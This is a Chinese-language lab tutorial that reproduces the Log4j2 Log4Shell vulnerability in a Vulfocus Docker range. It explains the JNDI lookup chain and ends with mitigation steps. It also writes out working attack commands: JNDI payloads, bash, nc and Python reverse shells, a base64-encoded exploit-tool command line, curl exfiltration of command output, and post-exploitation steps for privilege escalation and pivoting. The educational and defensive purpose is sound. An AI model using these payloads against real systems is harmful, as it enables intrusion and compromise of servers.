手把手复现Log4j2远程代码执行漏洞:从原理到实战
2026/7/13 11:25:34 网站建设 项目流程

1. 项目概述与核心价值

最近几年,安全圈里能让全球开发者、运维和安全人员集体加班的“大事件”不多,Log4j2的远程代码执行漏洞(CVE-2021-44228,俗称Log4Shell)绝对算一个。这个漏洞的恐怖之处在于,它潜伏在一个几乎无处不在的Java日志组件里,攻击门槛极低,影响范围却大到没边。很多朋友可能听说过它的“威名”,但总觉得复现过程很神秘,涉及JNDI、LDAP这些术语,让人望而却步。

今天,我就以一个老安全测试人员的视角,带大家从零开始,手把手、保姆级地复现这个史诗级漏洞。我们的目标很明确:不扯虚的,只讲干的。我会把每一步操作、每一个命令、每一个可能踩的坑都掰开揉碎了讲清楚,确保哪怕你之前没碰过漏洞复现,也能跟着这篇图文教程“闭眼冲”,成功看到漏洞触发的效果。理解漏洞的原理和复现过程,不仅能加深我们对软件供应链安全的认识,更是提升自身防御能力的第一步。毕竟,最好的防御,就是知道攻击是怎么发生的。

2. 环境搭建:打造专属的漏洞实验场

复现漏洞,第一步就是搭建一个安全、隔离的实验环境。我们绝对不能在公网或者生产环境上瞎搞,最好的选择就是使用Docker容器。它轻量、快速,而且能完美还原漏洞存在的原始状态,实验完了直接删除,不留任何后患。

2.1 靶场环境部署

我们将使用一个非常优秀的开源漏洞靶场项目——Vulfocus。它集成了大量常见漏洞的Docker镜像,一键拉取启动,特别适合学习和研究。

步骤一:安装Docker如果你的系统还没有Docker,需要先安装。以Ubuntu 20.04为例:

# 更新软件包索引 sudo apt-get update # 安装依赖包,允许apt通过HTTPS使用仓库 sudo apt-get install -y apt-transport-https ca-certificates curl software-properties-common # 添加Docker官方GPG密钥 curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add - # 设置稳定版仓库 sudo add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable" # 再次更新,并安装Docker CE sudo apt-get update sudo apt-get install -y docker-ce # 验证安装,运行hello-world镜像 sudo docker run hello-world

如果看到欢迎信息,说明Docker安装成功。为了避免每次命令都加sudo,可以将当前用户加入docker组:sudo usermod -aG docker $USER,然后退出终端重新登录生效。

步骤二:部署Vulfocus靶场Vulfocus本身也是一个Docker镜像,我们把它运行起来。

# 拉取最新的Vulfocus镜像 sudo docker pull vulfocus/vulfocus:latest # 运行Vulfocus容器 # -d 代表后台运行 # -p 81:80 将容器的80端口映射到宿主机的81端口,这样我们通过 http://你的IP:81 就能访问 # -v 挂载Docker套接字,这是Vulfocus管理其他漏洞容器的关键 # -e VUL_IP=192.168.1.100 设置你的宿主机IP地址,非常重要!后面漏洞利用时要用到。 # 请将 192.168.1.100 替换为你运行Docker的机器的实际IP地址(如果是本地实验,可以是127.0.0.1) sudo docker run -d -p 81:80 -v /var/run/docker.sock:/var/run/docker.sock -e VUL_IP=192.168.1.100 vulfocus/vulfocus

运行成功后,打开浏览器,访问http://你的IP:81。你会看到Vulfocus的登录界面,默认账号密码是admin/admin

注意VUL_IP这个环境变量至关重要。它告诉Vulfocus,它管理的漏洞容器对外暴露的地址是什么。如果你在本地虚拟机里做实验,就填虚拟机的IP;如果你用云服务器,就填服务器的公网IP。填错了会导致后续漏洞利用时网络不通。

步骤三:启动Log4j2漏洞镜像登录Vulfocus后,在首页的漏洞列表里找到CVE-2021-44228 Apache Log4j2 远程代码执行,点击“启动”按钮。Vulfocus会自动从仓库拉取漏洞镜像并运行。启动成功后,你会看到一个访问地址,格式类似http://192.168.1.100:32768。这个就是存在Log4j2漏洞的靶机应用了,点击即可访问。

2.2 攻击机环境准备

我们需要准备另一台机器作为攻击机,用来启动恶意JNDI服务并接收反弹的shell。为了方便,我强烈建议你直接在宿主机上操作(也就是运行Vulfocus的那台机器)。这样网络最通畅,避开了容器间、跨主机等复杂的网络配置问题。我们的实验拓扑就变成了:宿主机既是攻击机,又通过Docker运行着靶场和漏洞应用,它们都在同一个宿主机网络内。

攻击机上需要准备两个关键工具:

  1. JNDI注入利用工具:用于启动一个恶意的LDAP/RMI服务,当靶机连接过来时,会指向我们准备好的恶意Java类。
  2. Netcat (nc):一个网络工具中的“瑞士军刀”,这里我们用它来监听一个端口,等待靶机把shell反弹回来。

安装Netcat:

# Ubuntu/Debian sudo apt-get install -y netcat # CentOS/RHEL sudo yum install -y nc

准备JNDI利用工具:我们使用GitHub上star数很高的JNDI-Injection-Exploit工具。它功能全面,支持多种绕过方式。

# 1. 克隆项目代码 git clone https://github.com/welk1n/JNDI-Injection-Exploit.git # 2. 进入项目目录 cd JNDI-Injection-Exploit # 3. 使用Maven编译项目(需要提前安装JDK和Maven) # 安装OpenJDK 8和Maven sudo apt-get install -y openjdk-8-jdk maven # 4. 编译打包 mvn clean package -DskipTests

编译过程可能需要几分钟。完成后,在target/目录下会生成一个名为JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar的jar包,这就是我们等下要用的武器。

实操心得:编译时务必确认JDK版本为8。高版本JDK(如11+)在编译时可能因为某些API的变化而报错。如果系统有多个JDK版本,可以用sudo update-alternatives --config java来切换。

3. 漏洞原理深度拆解:为什么一行日志就能黑掉服务器?

在动手之前,我们必须搞清楚我们在利用什么。Log4j2漏洞的核心是“日志语句的递归解析”“JNDI的远程资源加载”这两个机制的危险结合。

3.1 日志的“超能力”:Lookup功能Log4j2有一个强大的功能叫Lookup,允许用户在日志输出中动态插入一些值。语法是${prefix:name}。例如,${java:runtime}可以插入Java运行时信息。这本是为了方便开发者,但却成了漏洞的入口。

3.2 罪恶的“JNDI Lookup”在众多Lookup中,有一个叫JNDI Lookup。JNDI(Java命名和目录接口)是Java中用来访问如LDAP、RMI、DNS等命名和目录服务的统一API。${jndi:ldap://evil.com/obj}这个语句的意思是:去连接evil.com的LDAP服务器,查找名为obj的对象。

3.3 漏洞触发链条(最简版)

  1. 用户输入:攻击者向一个使用了Log4j2记录日志的Java应用提交了恶意数据,比如在HTTP请求的User-Agent头里填入${jndi:ldap://attacker-ip:1389/Exploit}
  2. 日志记录:应用代码(可能是框架或业务代码)毫无戒备地将这个User-Agent记录到了日志里,调用了logger.info(“User-Agent: ” + userAgent)
  3. 递归解析:Log4j2在输出日志前,会对日志消息进行“渲染”。它发现消息里包含${},就会尝试去解析它。解析到jndi:ldap...时,它会发起一个JNDI查询。
  4. 恶意响应:攻击者控制的LDAP服务器(attacker-ip:1389)收到查询。它返回一个“引用”(Reference),这个引用指向另一个HTTP地址上的一个恶意Java类文件(.class)。
  5. 加载与执行:受害服务器(靶机)的Log4j2组件会根据LDAP服务器返回的引用,去指定的HTTP地址下载那个恶意.class文件,并使用当前应用的ClassLoader加载它。
  6. 代码执行:被加载的类在静态代码块或构造函数中包含了恶意代码(例如Runtime.getRuntime().exec(“calc”)),于是这段代码就在受害服务器上执行了。

3.4 关键限制与绕过漏洞的利用受限于Java版本的安全机制:

  • JDK 6u211, 7u201, 8u191, 11.0.1之后:默认禁用了从远程LDAP服务加载工厂类(com.sun.jndi.ldap.object.trustURLCodebase=false)。这直接堵死了最简单的利用方式。
  • 绕过方法:利用这些版本中仍然存在的“本地类路径”进行绕过。比如,目标服务器上如果存在某些特定版本的Tomcat,其org.apache.naming.factory.BeanFactory类可以被利用来调用任意对象的getter/setter方法,结合EL表达式处理器,依然可以达到代码执行的目的。我们后面使用的工具就内置了这种绕过方式。

理解了这个链条,你就会明白,整个复现过程,其实就是我们在模拟扮演那个“攻击者”,搭建一个恶意的LDAP服务,并提供一个恶意的.class文件,然后诱使靶机应用去触发这个链条。

4. 漏洞复现实操:步步为营,拿下Shell

环境备好,原理吃透,现在进入最激动人心的实战环节。请确保你的Vulfocus靶场和Log4j2漏洞容器已经正常运行。

4.1 第一步:探测漏洞是否存在

在发动真实攻击前,我们先做一个无害的探测,确认目标确实存在漏洞。这里我们使用一个公开的DNSLog服务来接收外联请求,这是一种非常安全且常见的探测方式。

  1. 访问http://www.dnslog.cn(或类似平台),点击Get SubDomain,你会获得一个临时的子域名,比如abc123.dnslog.cn
  2. 在浏览器中,访问你的Log4j2靶机地址(例如http://192.168.1.100:32768)。通常靶机页面会有一个输入框或触发点。
  3. 在输入框里(或者通过Burp Suite等工具拦截请求修改参数)提交以下Payload:
    ${jndi:ldap://abc123.dnslog.cn/test}

    注意:如果参数是通过URL传递的,需要对Payload进行URL编码,变成%24%7Bjndi%3Aldap%3A%2F%2Fabc123.dnslog.cn%2Ftest%7D

  4. 提交后,回到DNSLog页面,点击Refresh Record。如果看到一条来自你靶机IP的DNS查询记录,恭喜!漏洞确认存在!这说明靶机的Log4j2确实解析了我们的JNDI语句,并向我们指定的地址发起了LDAP查询。

4.2 第二步:启动恶意JNDI服务与监听

探测成功,现在准备真正的攻击载荷。我们的目标是让靶机执行命令,并把这个命令的执行结果(一个反向Shell)发送回我们的攻击机。

1. 准备反向Shell命令:我们需要一个能在靶机上打开TCP连接回连到我们攻击机的命令。Linux下最常用的是bash反向Shell。

bash -i >& /dev/tcp/攻击机IP/监听端口 0>&1

假设我们攻击机IP是192.168.1.100,准备在9999端口监听,那么命令就是:

bash -i >& /dev/tcp/192.168.1.100/9999 0>&1

由于这个命令中包含特殊字符,直接放在JNDI工具里可能有问题,我们将其进行Base64编码:

echo -n "bash -i >& /dev/tcp/192.168.1.100/9999 0>&1" | base64

你会得到一串编码后的字符串,例如:YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzk5OTkgMD4mMQ==

2. 启动Netcat监听:打开一个终端窗口,运行以下命令,开始监听9999端口,等待靶机的连接。

nc -lvvp 9999

窗口会显示listening on [any] 9999 ...,并挂起等待。

3. 启动JNDI利用工具:打开另一个终端窗口,进入之前编译好的JNDI-Injection-Exploit工具的目录。 运行以下命令启动工具:

java -jar target/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C “bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}” -A “192.168.1.100”

参数解释:

  • -C:指定要执行的命令。这里我们使用了Bash的“管道大法”来解码并执行Base64编码的命令。{echo, BASE64_CODE}输出编码,{base64,-d}解码,{bash,-i}执行。
  • -A:指定攻击机(我们本地)的IP地址。

工具启动后,你会看到类似下面的输出:

[ADDRESS] >> 192.168.1.100 [COMMAND] >> bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i} ----------------------------JNDI Links---------------------------- Target environment(Build in JDK whose trustURLCodebase is false): rmi://192.168.1.100:1099/exp1w2k ldap://192.168.1.100:1389/exp1w2k ...

重点关注并复制ldap://192.168.1.100:1389/exp1w2k这个链接。这个链接就是我们的“武器”,它指向了我们刚刚启动的恶意LDAP服务。工具已经为我们自动适配了高版本JDK的绕过方式(使用了TomcatBypass等技术)。

4.3 第三步:发送攻击Payload,触发漏洞

现在,万事俱备,只欠东风。我们需要让靶机去“请求”我们刚刚生成的这个恶意LDAP链接。

回到存在漏洞的靶机Web页面。我们再次向那个可以触发日志记录的参数(可能是搜索框、登录框、HTTP头等)提交数据。这次提交的Payload就是我们复制的LDAP链接:

${jndi:ldap://192.168.1.100:1389/exp1w2k}

同样,如果通过URL传递,记得进行URL编码。

点击提交或发送请求的瞬间,请立刻将目光移回你的两个终端窗口。

4. 观察结果:

  • JNDI工具窗口:你会看到刷新的日志,显示有来自靶机的LDAP连接请求,随后工具会启动一个临时的HTTP服务,提供恶意class文件,并记录文件被请求下载。
  • Netcat监听窗口:如果一切顺利,几秒后,这个窗口会突然“活”过来,显示连接建立,并出现一个新的命令行提示符,可能是bash-4.2$或者sh-4.2$这,就是靶机的Shell!

尝试输入几个命令验证一下:

whoami id pwd ls -la

如果都能正常返回结果,那么恭喜你,你已经成功通过Log4j2漏洞,在目标系统上实现了远程代码执行,并获取了一个反向Shell!

5. 深度利用与问题排查实录

成功弹回Shell只是第一步。在实际的安全测试或研究中,我们可能会遇到各种问题,也需要知道如何进一步利用。

5.1 常见失败场景与排查技巧

复现过程很少一帆风顺,下面是我总结的几个常见“翻车点”及解决办法:

问题1:DNSLog有回显,但JNDI工具没收到LDAP连接,NC也没收到Shell。

  • 可能原因A:网络不通。这是最常见的问题。靶机容器无法访问到你攻击机的IP和端口。
    • 排查:在攻击机上ping 靶机IP,在靶机容器内ping 攻击机IP(需进入容器:docker exec -it 容器ID /bin/bash)。确保双向能通。
    • 解决:检查防火墙。关闭宿主机防火墙(sudo ufw disablesudo systemctl stop firewalld)。如果使用云服务器,务必在安全组/防火墙规则中放行你使用的端口(如1389, 9999)。
  • 可能原因B:Payload构造或提交方式错误。
    • 排查:确认你提交的Payload是${jndi:ldap://攻击机IP:1389/工具生成的路径},IP和端口必须正确。确认参数名正确,并且请求能成功触发(返回HTTP 200)。
    • 解决:使用Burp Suite拦截请求,手动修改并重放,确保Payload被原样发送。查看靶机应用的后台日志(如果有权限),看是否打印了相关错误。

问题2:JNDI工具收到LDAP连接,也收到了HTTP请求(下载class),但NC没收到Shell。

  • 可能原因A:反弹Shell命令不兼容。靶机环境可能没有bash,或者/dev/tcp这个特性被禁用(如使用dash)。
    • 解决:尝试使用其他反向Shell命令。
      • 使用ncnc 攻击机IP 9999 -e /bin/sh(需要靶机有netcat且支持-e参数)
      • 使用pythonpython -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“攻击机IP“,9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);’
    • 将新命令Base64编码后,替换JNDI工具-C参数中的内容。
  • 可能原因B:靶机出网限制。靶机可能无法对外发起TCP连接到你的9999端口。
    • 排查:在靶机上用telnet 攻击机IP 9999测试连通性。
    • 解决:尝试让Shell走DNS或ICMP等可能不被限制的协议(更复杂),或者换个思路,执行一个不需要反弹的指令,如curl http://攻击机IP:8000/$(whoami),然后在攻击机用python3 -m http.server 8000开个HTTP服务看请求。

问题3:工具报错 “Address already in use”

  • 原因:端口被占用。JNDI工具默认使用1099(RMI)和1389(LDAP)端口。
  • 解决:找出占用端口的进程并结束,或者为工具指定其他端口。
    • 查找占用端口的PID:sudo lsof -i:1389
    • 结束进程:sudo kill -9 PID
    • 或者,使用工具的其他启动参数指定端口(需查看工具帮助文档)。

5.2 进阶利用思路

拿到一个低权限的Shell后,安全测试人员通常会进行下一步操作:

  1. 信息收集

    # 查看当前用户、权限 whoami && id # 查看系统信息 uname -a cat /etc/os-release # 查看网络信息 ifconfig 或 ip a netstat -antp # 查看进程信息 ps aux # 查找敏感文件、配置文件 find / -name “*.properties” -o -name “*.yml” -o -name “*.yaml” 2>/dev/null | head -20
  2. 权限提升尝试

    • 查看是否有sudo权限:sudo -l
    • 查找SUID/GUID文件:find / -perm -u=s -type f 2>/dev/null
    • 查找可写目录:find / -writable -type d 2>/dev/null 2>/dev/null | head -20
    • 利用已知的本地提权漏洞(需要上传exp并编译)。
  3. 内网渗透

    • 利用当前机器作为跳板,扫描和攻击内网其他主机。
    • 上传代理工具(如frp,socks5代理客户端)建立通道。

重要声明与伦理提醒:以上所有技术操作仅限在您拥有完全所有权和控制权的实验环境(如本地虚拟机、VPS上的Docker容器)中进行。未经授权对任何他人的系统进行扫描、渗透或攻击,是非法的犯罪行为,必将受到法律严惩。安全技术的价值在于防御,请务必用于合法、合规的学习和研究目的。

6. 防御措施与修复方案

复现漏洞是为了更好地理解它,而理解它的最终目的是为了防御。作为开发、运维或安全人员,我们必须知道如何应对。

1. 紧急缓解措施(立即可做):

  • 升级Log4j2:这是最根本的解决方案。将Apache Log4j2升级到安全版本:
    • = 2.17.1 (Java 8)

    • = 2.18.1 (Java 11)

    • = 2.19.1 (Java 17) 或最新版。

  • 修改JVM参数:如果无法立即升级,可以添加以下JVM启动参数来禁用JNDI Lookup和消息查找,但这可能影响某些功能。
    -Dlog4j2.formatMsgNoLookups=true
    (对于Log4j 2.10及以上版本)
  • 移除漏洞类:从classpath中移除log4j-core-*.jar中的JndiLookup类。
    zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

2. 长期安全加固:

  • 供应链安全扫描:在CI/CD流程中引入软件成分分析(SCA)工具,如OWASP Dependency-Check、Trivy等,自动扫描项目依赖中的已知漏洞。
  • 最小权限原则:运行Java应用的服务账号,应遵循最小权限原则,避免使用root权限。
  • 网络层防护
    • 在WAF(Web应用防火墙)上部署针对Log4j漏洞的防护规则。
    • 在网络边界限制服务器不必要的出网连接(尤其是LDAP、RMI、DNS等协议),可以阻断大部分漏洞利用。
  • 升级JDK:将生产环境JDK升级到较新的长期支持版本(如8u191、11.0.1之后),并确保com.sun.jndi.ldap.object.trustURLCodebase设置为false
  • 安全编码意识:避免将不可信的用户输入直接记录到日志中。对日志内容进行适当的过滤或编码。

整个复现过程走下来,你会发现Log4j2漏洞的利用链清晰,工具化程度高,这正是它危害巨大的原因。对于防守方而言,真正的挑战往往不是修复这一个漏洞,而是如何在海量的资产中快速发现所有受影响的应用,并协调完成升级。这背后体现的是企业安全运维的体系化能力和应急响应速度。通过亲手复现,我们不仅学到了一个漏洞的利用方法,更深刻地理解了安全左移、纵深防御和应急响应预案的重要性。安全是一个持续的过程,永远不能抱有侥幸心理。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询